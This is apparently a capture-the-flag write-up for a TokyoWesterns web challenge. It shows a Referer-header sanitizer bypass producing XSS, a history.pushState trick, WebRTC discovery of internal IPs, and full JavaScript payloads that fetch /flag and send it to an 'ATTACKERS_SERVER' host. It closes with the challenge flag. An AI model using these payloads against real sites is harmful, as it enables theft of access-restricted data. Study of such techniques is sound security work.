Overview

Problem page:
http://css.chal.ctf.westerns.tokyo/

Provided source code:
proxy.py
sanitizer.py

There are 4 pages: /, /refresh, /chrowler, /flag.

When we access /flag, it responses only local IP is allowed. (your IP: 110.3.193.114).
So, we should use /chrowler (crawler using Chrome) to get the content in /flag.

Find XSS

Next, we search XSS and found /refresh has it. (We found the vulnerability when browsing with w3m)
In this page, user will be redirected to the page where he or she is (which represented by Referer header).

curl -H 'Referer: blahblahblah"><' http://css.chal.ctf.westerns.tokyo/refresh

<!doctype html>
<html>
  <meta http-equiv="refresh" content="0;URL=blahblahblah"><">

And the Referer is sanitized with htmlsanitize but it is bypassed as below:

curl -H 'Referer: "><sona=cript>alert()</sona=cript>' http://css.chal.ctf.westerns.tokyo/refresh

<!doctype html>
<html>
  <meta http-equiv="refresh" content="0;URL="><script>alert()</script>">

Exploit XSS

In proxy which is used by crawler, urlsanitize is used.
Crawler can not access to http://attacker/?"><script>alert()</script>.
So another technique is required to exploit XSS.

We use history.pushState to set attack code in Referer.

After crawler access the page below, it sends the contents of /flag.

<script>
payload = `"><scrona=ipt>
getFlag = async () => {
  content = await fetch('/flag');
  await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://css.chal.ctf.westerns.tokyo/refresh';
</script>

Local IP Detection

But the content which is send by crawler is: only local IP is allowed. (your IP: 104.215.63.152)

What to do next?
Access to localhost of crawler? No.

After some trials, we tried to detect local IP address of crawler and web server with WebRTC.
( WebRTC is useful technique to detect local IP address: https://github.com/diafygi/webrtc-ips )

It turns out that crawler is 192.168.0.5 and web server is 192.168.0.4.

We fixed the attack code.

<script>
payload = `"><scrona=ipt>
getFlag = async () => {
  content = await fetch('/flag');
  await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://192.168.0.4/refresh'; // this line changed
</script>

And finally we got flag!

TWCTF{cl0ck-cr4ck-c1ick}